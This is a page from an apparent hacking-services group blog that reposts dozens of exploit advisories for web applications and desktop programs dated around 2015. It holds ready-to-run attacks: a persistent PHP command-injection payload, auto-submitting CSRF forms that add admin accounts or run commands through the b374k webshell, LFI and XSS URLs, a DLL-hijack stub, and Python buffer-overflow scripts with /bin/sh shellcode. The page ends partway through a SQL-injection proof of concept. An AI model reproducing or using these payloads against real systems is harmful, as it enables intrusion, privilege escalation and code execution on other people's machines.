Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863158189

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-CFIMAGEHOST-PHP-CMD-INJECTION.txt


Vendor:
====================================
codefuture.co.uk/projects/imagehost


Product:
===================================
CF Image Host 1.65 - 1.6.6

Archive download listed as: version 1.65
unzips as imagehost 1.6.6


Vulnerability Type:
=====================
PHP Command Injection


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

CF Imagehost allows users who have access to the management area the
ability to write directly to the 'set.php' page under
the /inc directory that stores setting values for the 'Site Title', 'Site
Slogan' etc, this allows a local attacker ability to
inject specially crafted PHP command payloads to execute arbitrary
operating system commands on the victim host. Possibly leading
to privilege escalation, RFI, backdoors etc.. and most likely full
compromise of the affected system or shared environment
if applicable.


PHP Command Injection Exploit code(s):
=====================================

Under the setting tab we can inject following below PHP code and it will
remain persistent as it is written disk in 'set.php',
afterwards when the victim visits the application and click a tab the
persistent OS command will be executed.


1) navigate to CF image host settings tab
http://localhost/imagehost1.6.6/admin.php?act=set
2) click on admin menu on left and enter your passwords DO NOT click 'Save
changes' yet! or you get error message to enter creds
3) now go back to settings tab and click 'General' then inject below PHP
code into the 'Site Title' input field
4) now click 'Save Changes', this code will get stored under  /inc
directory within the 'set.php' PHP file.

our PHP injection payload needs the single quotes, double back slashes,
semicolons as described below to correctly escape the syntax
so we do not break the PHP page and cause errors, our extra \\ quoutes and
; gets removed after injection takes place.

some examples...


';echo exec("c:\\Windows\\system32\\calc.exe");'';';

'set.php' on line 11 then becomes:
$settings['SET_TITLE'] = '';echo
exec("c:\Windows\system32\calc.exe");'';';';

OR inject CMD to launch chrome.exe etc...

';echo exec("c:\\Program Files
(x86)\\Google\\Chrome\\Application\\chrome.exe");'';';


After, click on some tabs above like 'Database' or 'Ban User' and Tada!
this will execute our stored PHP command...
either running calc.exe or launching Google Chrome.



Disclosure Timeline:
=====================
Vendor Notification:  NA
November 13, 2015  : Public Disclosure


Exploitation Technique:
=======================
Local / Remote


Severity Level:
================
High


Description:
================================================================

Request Method(s):            [+] POST


Vulnerable Product:           [+] CF Image Host 1.65 - 1.6.6


Vulnerable Parameter(s):      [+] 'Site Title', 'Site Slogan' etc..


Affected Area(s):             [+]  OS



[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
<!--
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-CFIMAGEHOST-CSRF.txt


Vendor:
====================================
codefuture.co.uk/projects/imagehost


Product:
===================================
CF Image Host 1.65 - 1.6.6

Archive download listed as: version 1.65
unzips as imagehost 1.6.6


Vulnerability Type:
=================================
Cross site request forgery - CSRF


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

No CSRF protection exists allowing attackers to make requests to the server
on behalf of the victim if they are logged in and visit a malicious site or
click
an infected linx. This will let attackers modify certain web application
settings to
whatever the attacker wishes.


CSRF Exploit code(s):
====================
-->

<form id='HELL' method="POST" action="
http://localhost/imagehost1.6.6/admin.php?act=set">
<input type="text" name="setScriptUrl" value="
http://hyp3rlinx.altervista.org" />
<input type="text" name="setTitle" value="ghostofsin" />
<input type="text" name="setSlogan" value="666" />
<input type="text" name="setCopyright" value="hyp3rlinx" />
<input type="text" name="setTheme" value="day" />
<input type="text" name="setModeRewrite" value="0" />
<input type="text" name="setAddThis" value="0" />
<input type="text" name="setLanguage" value="0" />
<input type="text" name="changesettings" value="Save+Changes" />
<input type="text" name="setModeRewrite" value="0" />
<input type="text" name="setAllowReport" value="1" />
<input type="text" name="setEmailReport" value="1" />
<input type="text" name="setHideGallery" value="1" />
<input type="text" name="setHideContact" value="1" />
<input type="text" name="setHideTos" value="1" />
<input type="text" name="setHideFaq" value="1" />
<input type="text" name="setHideSearch" value="1" />
<input type="text" name="setImageWidgit" value="1" />
<input type="text" name="setHideFeed" value="1" />
<input type="text" name="setHideSitemap" value="1" />
<input type="text" name="setAutoDeleted" value="0" />
<input type="text" name="setAutoDeletedTime" value="10" />
<input type="text" name="setAutoDeletedJump" value="m" />
<input type="text" name="setDisUpload" value="0" />
<input type="text" name="setAutoDeleted" value="0" />
<input type="text" name="setMaxSize" value="1048576" />
<input type="text" name="setMaxBandwidth" value="1024" />
<input type="text" name="setBandwidthReset" value="m" />
<input type="text" name="setMaxUpload" value="5" />
<input type="text" name="setNoDuplicate" value="0" />
<input type="text" name="setResizeImg" value="1" />
<input type="text" name="setPrivateImg" value="1" />
<input type="text" name="setWaterMark" value="0" />
<input type="text" name="setWatermarkText" value="0" />
<input type="text" name="setWatermarkImage" value="1" />
<input type="text" name="setWatermarkPlaced" value="1" />
<input type="text" name="setSUrlApi" value="b54" />
<input type="text" name="setSUrlApiUrl" value="" />
<input type="text" name="setSUrlApiUesr" value="" />
<input type="text" name="setSUrlApiPass" value="" />
<input type="text" name="setAnalytics" value="" />
<input type="text" name="setGoogleCha" value="" />
<input type="text" name="setGoogleAds" value="" />
<input type="text" name="oldPassword" value="" />
<input type="text" name="newPassword" value="" />
<input type="text" name="newConfirm" value="" />
<input type="text" name="setUserName" value="admin" />
<input type="text" name="setEmail" value="ghostofsin@abyss.com" />
<script>document.getElementById('HELL').submit()</script>
</form>


<!--
Disclosure Timeline:
=====================
Vendor Notification: NA
November 14, 2015  : Public Disclosure



Exploitation Technique:
=======================
Remote


Severity Level:
================
High


Description:
============================================================

Request Method(s):        [+] POST


Vulnerable Product:       [+] CF Image Host 1.65 - 1.6.6



[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
-->
HireHackking 
source: https://www.securityfocus.com/bid/61801/info

ACal is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input before being used to include files.

An attacker can exploit this vulnerability to view files or execute arbitrary script code in the context of the web server process. This may aid in further attacks.

ACal 2.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/calendar/embed/example/example.php?view=../../etc/passwd%00
HireHackking 
source: https://www.securityfocus.com/bid/61770/info

DotNetNuke is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

DotNetNuke prior to versions 7.1.1 and 6.2.9 are vulnerable.

http://www.example.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'}
HireHackking 
source: https://www.securityfocus.com/bid/61746/info

CakePHP is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files or execute arbitrary script code in the context of the web server process. This may aid in further attacks.

CakePHP 2.2.8 and 2.3.7 are vulnerable; other versions may also be affected. 

http://www.example.com/cakephp-2.3.7/theme/Test1/%2e.//%2e.//%2e.//%2e. //%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd

http://www.example.com/cakephp-2.3.7/DebugKit/%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd
HireHackking 
source: https://www.securityfocus.com/bid/61745/info

HTC Sync Manager is prone to multiple arbitrary code-execution vulnerabilities.

An attacker can exploit these issues by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

HTC Sync Manager 2.1.46.0 is vulnerable; other versions may also be affected. 

#include <windows.h>
#define DllExport __declspec (dllexport)
DllExport void DwmSetWindowAttribute() { egg(); }

int egg()
{
    system ("calc");
        exit(0);
        return 0;
}
HireHackking 
source: https://www.securityfocus.com/bid/61733/info

AlgoSec Firewall Analyzer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

AlgoSec Firewall Analyzer 6.1-b86 is affected; other versions may also be vulnerable. 

http//www.example.com/afa/php/Login.php/>'><ScRiPt>alert(11111111)</ScRiPt> HTTP/1.1
HireHackking 
source: https://www.securityfocus.com/bid/61735/info

Advanced Guestbook is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Advanced Guestbook 2.4.3 is vulnerable; other versions may also be affected. 

http://www.example.com.tw/guestbook/addentry.php
HireHackking 
source: https://www.securityfocus.com/bid/61728/info

Kwok Information Server is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Kwok Information Server 2.7.3 and 2.8.4 are vulnerable; other versions may also be affected. 

http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareType=49[Inject Payload Here]

http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareStatus=0[Inject Payload Here]

http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareLocation=0[Inject Payload Here]
HireHackking 
source: https://www.securityfocus.com/bid/61578/info

SilverStripe is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information that may aid in further attacks.

SilverStripe 3.0.3 is vulnerable; other versions may also be affected. 

http://<X.X.X.X:Port>/Security/LoginForm?AuthenticationMethod=MemberAuthenticator&Email=<email>&Password=<password>&BackURL=%2Fadmin%2Fpages&action_dologin=Log+in
HireHackking 
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-B374K-CSRF-CMD-INJECTION.txt


Vendor:
============================================
github.com/b374k/b374k
code.google.com/p/b374k-shell/downloads/list
code.google.com/archive/p/b374k-shell/


Product:
==============================================
b374k versions 3.2.3 and 2.8

b374k is a PHP Webshell with many features such as:

File manager (view, edit, rename, delete, upload, download as archive,etc)
Command execution, Script execution (php, perl, python, ruby, java,
node.js, c)
Give you shell via bind/reverse shell connect
Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more
using ODBC or PDO)
Process list/Task manager.

This is useful for system/web admin to do remote management without opening
cpanel, connecting using ssh,
ftp etc. All actions take place within a web browser.

Note:
b374k is considered by some as a malicious backdoor and is flagged by some
AV upon download.


Vulnerability Type:
=============================
CSRF Remote Command Injection


Vulnerability Details:
=====================

No CSRF protection exists in b374k Web Shell allowing arbitrary OS command
injection, if currently
logged in user visits our malicious website or clicks our infected linxs.

vulnerable b374k code:

<?php
if(isset($_GP['cmd'])) <------ $_GP holds value of $_GET passed to the
shell.

<form action='<?php echo $s_self; ?>' method='post'>
<input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd'
style='width:70%;' value='<?php
if(isset($_GP['cmd'])) echo "";

else echo "- shell command -";
?>' />
<noscript><input class='inputzbut' type='submit' value='Go !'
name='submitcmd' style='width:80px;' /></noscript>

</form>


Exploit code(s):
=================

Run Windows calc.exe as POC...

[CSRF Command Injections]

 v3.2


Adding password and packing to b374k single PHP file.

c:\xampp\htdocs\b374k-master>php -f index.php -- -o myshell.php -p abc123
 -s -b -z gzcompress -c 9
b374k shell packer 0.4.2

Filename                : myshell.php
Password                : xxxxxx
Theme                   : default
Modules                 : convert,database,info,mail,network,processes
Strip                   : yes
Base64                  : yes
Compression             : gzcompress
Compression level       : 9
Result                  : Succeeded : [ myshell.php ] Filesize : 111419


(CSRF Command injection 1)

<form id='ABYSMALGODS' action='
http://localhost/b374k-master/myshell.php?run=convert,database,info,mail,network,processes'
method='post'>
<input id='cmd' type='text' name='terminalInput' value='calc.exe' />
<script>document.getElementById('ABYSMALGODS').submit()</script>
</form>



 v2.8

(CSRF Command injection 2)

<form id='HELL' action='http://localhost/b374k-2.8.php?' method='post'>
<input id='cmd' type='text' name='cmd' value='calc.exe' />
<script>document.getElementById('HELL').submit()</script>
</form>


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Description:
==================================================

Request Method(s):              [+]  POST


Vulnerable Product:             [+]  b374k 3.2 and 2.8


Vulnerable Parameter(s):        [+]  terminalInput, cmd


Affected Area(s):               [+]  OS



[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
#!/usr/bin/env python
# Exploit Title     : Sam Spade 1.14 S-Lang Command Field SEH Overflow Crash PoC
# Discovery by      : Nipun Jaswal
# Email             : mail@nipunjaswal.info
# Discovery Date    : 12/11/2015
# Vendor Homepage   : http://samspade.org
# Software Link     : http://www.majorgeeks.com/files/details/sam_spade.html
# Tested Version    : 1.14
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS      : Windows XP Professional SP2 x86 es
# Crash Point       : Go to Tools > S-Lang Command> Enter the contents of 'sam_spade_slang_dos.txt' > OK , Note: Do Not Remove the round bracket
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
# And the Stack
#00FBFE80   41414141  AAAA
#00FBFE84   41414141  AAAA
#00FBFE88   42424242  BBBB  Pointer to next SEH record
#00FBFE8C   43434343  CCCC  SE handler

# After the execution of POC, the SEH chain looks like this: 
#Address    SE handler
#00FBFE88   43434343
#42424242   *** CORRUPT ENTRY ***

f = open("sam_spade_slang_dos.txt", "w")
Junk_a = "A"*528
nseh= "B" * 4
seh= "C" *4

f.write(Junk_a+nseh+seh)
f.close()
HireHackking 
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: tack - Terminal action checker
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: TACK v1.07 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: *http://www.z <http://www.rastersoft.com/>nyx.com <http://nyx.com>*
# Kali Linux 2.0 package: pool/main/t/tack/tack_1.07-1_amd64.deb
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980

import os,subprocess
def run():
  try:
    print "# TACK v1.07 Stack-Based Overflow by Juan Sacco"
    print "# It's Fuzzing time on unusable exploits"
    print "# This exploit is for educational purposes only"
    # Basic structure: JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*10
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*3022
    eip = "\x30\xd1\xff\xbf"
    subprocess.call(["tack",'  ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "TACK not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Sorry, something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit TACK 1.07 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
HireHackking 

R-Scripts VRS 7R Multiple Stored XSS And CSRF Vulnerabilities


Vendor: R-Scripts
Product web page: http://www.r-scripts.com
Affected version: 7R

Summary: PHP Vacation Rental Script is the best solution
for your vacation rentals online business.

Desc: The application allows users to perform certain actions
via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in
user visits a malicious web site. Stored cross-site scripting
vulnerabilitity was also discovered. The issue is triggered
when input passed via multiple POST parameters is not properly
sanitized before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Apache/2.2.29
           PHP/5.3.29


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5274
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5274.php


01.10.2015

--


CSRF Add Admin:
---------------

<html>
  <body>
    <form action="http://127.0.0.1/admin/users/add" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="role" value="admin" />
      <input type="hidden" name="username" value="Testingus" />
      <input type="hidden" name="password" value="123123" />
      <input type="hidden" name="retype&#95;password" value="123123" />
      <input type="hidden" name="generate&#95;password&#95;label" value="&#32;Generate&#32;password" />
      <input type="hidden" name="name" value="Test" />
      <input type="hidden" name="email" value="test&#64;test&#46;tld" />
      <input type="hidden" name="phone" value="111111111" />
      <input type="hidden" name="phone2" value="&#13;" />
      <input type="hidden" name="sms&#95;phone" value="&#13;" />
      <input type="hidden" name="sms&#95;active" value="0" />
      <input type="hidden" name="fax" value="&#13;" />
      <input type="hidden" name="country" value="Uganda" />
      <input type="hidden" name="location" value="N" />
      <input type="hidden" name="address" value="Address" />
      <input type="hidden" name="zip" value="&#13;" />
      <input type="hidden" name="active&#95;newsletter" value="0" />
      <input type="hidden" name="active" value="1" />
      <input type="hidden" name="banned" value="0" />
      <input type="hidden" name="ban&#95;reason" value="&#13;" />
      <input type="hidden" name="verified&#95;user" value="1" />
      <input type="hidden" name="paypal&#95;email" value="&#13;" />
      <input type="hidden" name="submitf" value="submit" />
      <input type="submit" value="CSRF Add Admin" />
    </form>
  </body>
</html>


Privilege Escalation:
---------------------

<html>
  <body>
    <form action="http://127.0.0.1/admin/users/edit/4" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="role" value="admin" />
      <input type="hidden" name="username" value="member" />
      <input type="hidden" name="password" value="&#13;" />
      <input type="hidden" name="retype&#95;password" value="&#13;" />
      <input type="hidden" name="generate&#95;password&#95;label" value="&#32;Generate&#32;password" />
      <input type="hidden" name="name" value="Member" />
      <input type="hidden" name="email" value="vrs&#95;owner&#64;vacationrentalscript&#46;com" />
      <input type="hidden" name="phone" value="&#13;" />
      <input type="hidden" name="phone2" value="&#13;" />
      <input type="hidden" name="sms&#95;phone" value="&#13;" />
      <input type="hidden" name="sms&#95;active" value="0" />
      <input type="hidden" name="fax" value="&#13;" />
      <input type="hidden" name="country" value="Germany" />
      <input type="hidden" name="location" value="test" />
      <input type="hidden" name="address" value="test&#32;address" />
      <input type="hidden" name="zip" value="&#13;" />
      <input type="hidden" name="active&#95;newsletter" value="1" />
      <input type="hidden" name="active" value="1" />
      <input type="hidden" name="banned" value="0" />
      <input type="hidden" name="ban&#95;reason" value="&#13;" />
      <input type="hidden" name="verified&#95;user" value="1" />
      <input type="hidden" name="paypal&#95;email" value="sandbox&#95;owner2&#64;vacationrentalscript&#46;com" />
      <input type="hidden" name="submitf" value="submit&#95;view" />
      <input type="submit" value="Escalate" />
    </form>
  </body>
</html>


Stored XSS:
-----------

<html>
  <body>
    <form action="http://127.0.0.1/admin/mail_templates/add" method="POST">
      <input type="hidden" name="alias" value='" onmousemove=confirm(1) >' />
      <input type="hidden" name="sender&#95;name" value='" onmousemove=confirm(2) >' />
      <input type="hidden" name="sender&#95;email" value='" onmousemove=confirm(3) >' />
      <input type="hidden" name="bcc&#95;copy" value='" onmousemove=confirm(4) >' />
      <input type="hidden" name="subject&#95;1" value='" onmousemove=confirm(5) >' />
      <input type="hidden" name="subject&#95;2" value="&#13;" />
      <input type="hidden" name="subject&#95;3" value="&#13;" />
      <input type="hidden" name="subject&#95;4" value="&#13;" />
      <input type="hidden" name="subject&#95;5" value="&#13;" />
      <input type="hidden" name="body&#95;1" value="test" />
      <input type="hidden" name="body&#95;2" value="&#13;" />
      <input type="hidden" name="body&#95;3" value="&#13;" />
      <input type="hidden" name="body&#95;4" value="&#13;" />
      <input type="hidden" name="body&#95;5" value="&#13;" />
      <input type="hidden" name="active" value="1" />
      <input type="hidden" name="is&#95;bulk&#95;mail" value="0" />
      <input type="hidden" name="submitf" value="submit&#95;view" />
      <input type="submit" value="XSS Add Mail" />
    </form>
  </body>
</html>


Stored XSS:
-----------

<html>
  <body>
    <form action="http://127.0.0.1/admin/locations/add" method="POST">
      <input type="hidden" name="location&#95;selected&#95;id" value="0" />
      <input type="hidden" name="temp&#95;lat" value="0" />
      <input type="hidden" name="temp&#95;lng" value="0" />
      <input type="hidden" name="title&#95;1" value='" onmousemove=confirm(1) >' />
      <input type="hidden" name="title&#95;2" value="&#13;" />
      <input type="hidden" name="title&#95;3" value="&#13;" />
      <input type="hidden" name="title&#95;4" value="&#13;" />
      <input type="hidden" name="title&#95;5" value="&#13;" />
      <input type="hidden" name="location&#95;parent&#95;id" value="&#45;1" />
      <input type="hidden" name="slug&#95;1" value="&#13;" />
      <input type="hidden" name="slug&#95;2" value="&#13;" />
      <input type="hidden" name="slug&#95;3" value="&#13;" />
      <input type="hidden" name="slug&#95;4" value="&#13;" />
      <input type="hidden" name="slug&#95;5" value="&#13;" />
      <input type="hidden" name="lat" value='" onmousemove=confirm(2) >' />
      <input type="hidden" name="lng" value='" onmousemove=confirm(3) >' />
      <input type="hidden" name="zip&#95;code" value="&#13;" />
      <input type="hidden" name="active" value="1" />
      <input type="hidden" name="submitf" value="submit" />
      <input type="submit" value="XSS Add Location" />
    </form>
  </body>
</html>

Stored XSS:
-----------

<html>
  <body>
    <form action="http://127.0.0.1/admin/coupons/add" method="POST">
      <input type="hidden" name="start&#95;date" value="&#13;" />
      <input type="hidden" name="start&#95;date&#95;picker" value="&#13;" />
      <input type="hidden" name="end&#95;date" value="2015&#45;11&#45;12" />
      <input type="hidden" name="end&#95;date&#95;picker" value='" onmousemove=confirm(1) >' />
      <input type="hidden" name="title" value='" onmousemove=confirm(2) >' />
      <input type="hidden" name="hash" value="RG8AVL" />
      <input type="hidden" name="coupon&#95;code" value='" onmousemove=confirm(3) >' />
      <input type="hidden" name="discount" value='" onmousemove=confirm(4) >' />
      <input type="hidden" name="utimes" value='" onmousemove=confirm(5) >' />
      <input type="hidden" name="active" value="1" />
      <input type="hidden" name="submitf" value="submit&#95;view" />
      <input type="submit" value="XSS Add Coupons" />
    </form>
  </body>
</html>
HireHackking 
source: https://www.securityfocus.com/bid/61571/info
 
Jahia xCM is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
 
An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
Jahia xCM 6.6.1.0 r43343 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/administration/?do=users&sub=search" method="post" name="main">
<input type="hidden" name="searchString" value="'><script>alert(document.cookie);</script>">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


<form action="http://www.example.com/administration/?do=users&sub=processCreate" method="post" name="main">
<input type="hidden" name="username" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:firstName" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:lastName" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:email" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:organization" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="actionType" value='save'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
HireHackking 
source: https://www.securityfocus.com/bid/61571/info

Jahia xCM is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Jahia xCM 6.6.1.0 r43343 is vulnerable; other versions may also be affected. 

http://www.example.com/engines/manager.jsp?conf=repositoryexplorer&site=%3C/script%3E%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/61491/info

XMonad.Hooks.DynamicLog module for xmonad is prone to multiple remote command-injection vulnerabilities.

Successful exploits will result in the execution of arbitrary commands in the context of the affected applications. This may aid in further attacks. 

<html>
<head>
<title><action=xclock>An innocent title</action></title>
</head>
<body>
<h1>Good bye, cruel world</h1>
</body>
</html>
HireHackking 
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: fbzx - ZX Spectrum Emulator for X
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: FBZX v2.10 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: *http://www.rastersoft.com/ <http://www.rastersoft.com/>*
# Kali Linux 2.0 package: http://repo.kali.org/kali/pool/contrib/f/fbzx/
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980

import os,subprocess
def run():
  try:
    print "# FBZX v2.10 Stack-Based Overflow by Juan Sacco"
    print "# It's Fuzzing time on unusable exploits"
    print "# This exploit is for educational purposes only"
    # Basic structure: JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*8
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*5010
    eip = "\x10\xd3\xff\xbf"
    subprocess.call(["fbzx",'  ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "FBZX not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Sorry, something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit FBZX 2.10 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
HireHackking 
source: https://www.securityfocus.com/bid/61456/info

Open Source SIEM (OSSIM) is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Open Source SIEM (OSSIM) 4.2.3 is vulnerable; other versions may also be affected.

https://
<IP>/ossim/vulnmeter/index.php?withoutmenu=%22%3E%3Cimg%20src%3da%20onerror%3dalert%28%27XSS%27%29%3E
https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/av_inventory/task_edit.php?section="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/nfsen/rrdgraph.php?cmd=get-detailsgraph&profile=<img%20src%3da%20onerror%3dalert('XSS')>

POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

hosts_alive=1&scan_locally=1&not_resolve=0&scan_server=<img%20src%3da%20onerror%3dalert('XSS')>&targets=blah


POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

hosts_alive=1&scan_locally=1&not_resolve=0&scan_server=Null&targets=blah<img%20src%3da%20onerror%3dalert('XSS')>
HireHackking 
# Exploit Title: WP Fastest Cache 0.8.4.8 Blind SQL Injection
# Date: 11-11-2015
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
For this vulnerabilities also WP-Polls needs to be installed.

Everyone can access wpfc_wppolls_ajax_request().

$_POST["poll_id"] is not escaped properly.

File: wp-fastest-cache\inc\wp-polls.php

public function wpfc_wppolls_ajax_request() {
	$id = strip_tags($_POST["poll_id"]);
	$id = mysql_real_escape_string($id);

	$result = check_voted($id);

	if($result){
		echo "true";
	}else{
		echo "false";
	}
	die();
}

http://security.szurek.pl/wp-fastest-cache-0848-blind-sql-injection.html

2. Proof of Concept

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wpfc_wppolls_ajax_request">
